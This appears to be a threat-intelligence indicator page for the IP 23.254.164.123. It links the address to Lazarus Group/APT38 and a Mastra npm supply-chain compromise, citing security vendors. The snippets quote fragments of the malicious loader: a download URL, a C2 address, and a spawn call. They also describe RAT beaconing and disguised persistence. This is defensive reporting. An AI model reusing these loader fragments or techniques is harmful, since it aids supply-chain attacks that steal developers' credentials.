23.254.164.123
23.254.164.123 is an IP address
that 5 published sources report
in connection with Lazarus Group and APT38 activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from OpenSourceMalware, SafeDep, Snyk, Decryption Digest and Microsoft.
The earliest of those reports is dated 2026-06-16 and the most recent 2026-06-24.
ip address Lazarus GroupAPT38 MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | HostPapa |
| Announced by | AS54290 HostPapa |
| Country | United States |
| Flags | hosting range |
Sources
-
…= '0'; (async () => { try { let downloadUrl = 'https://23.254.164.92:8000/update/49890878'; let c2 = '23.254.164.123:443'; let marker = Buffer.from([0xe5,0xe1,0xf3,0xf9,0xad,0xe4,0xe1,0xf9,0xad,0xea,0xf3]); // Drop breadcrumbs in the temp dir…
Mastra Attack Targets Crypto, Password Managers, Authenticators, and Zapier | OpenSourceMalware — OpenSourceMalware -
…spawn (process.execPath, [file, '23.254.164.123:443' ], { 16 cwd: os.…
Mastra npm Scope Takeover: 143 Packages Drop a RAT - Real-time Open Source Software Supply Chain Security — SafeDep -
…base64-encodes the lot into a JSON beacon. It also establishes persistence disguised as Node tooling and beacons to a separate RAT C2 ( 23.254.164.123/49890878 ) roughly every 10 minutes, using a self-signed wolfSSL test certificate ( CN=www.wolfssl.com , expired January 2018): macOS:…
Mastra npm Scope Takeover | Snyk — Snyk -
…and the malicious DLL scdev.dll in the system directory. In the network layer, look for outbound connections to 23.254.164.92 and 23.254.164.123, the primary C2 IPs, and DNS lookups for maskasd.com and teams.onweblive.org.…
Sapphire Sleet: 144 npm Packages Backdoored — Decryption Digest -
…Key decoded strings include the secondary C2 address (23.254.164.123:443), Node.js built-in module references ( node:child_process , node:os ), and file system operations ( writeFileSync , rmSync ). Stage…
From package to postinstall payload: Inside the Mastra npm supply chain compromise by Sapphire Sleet | Microsoft Security Blog — Microsoft -
…execPath , [ file , '23.254.164.123:443' ], { cwd : os .…
Mastra npm Scope Takeover: 143 Packages Drop a RAT - Real-time Open Source Software Supply Chain Security — SafeDep
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.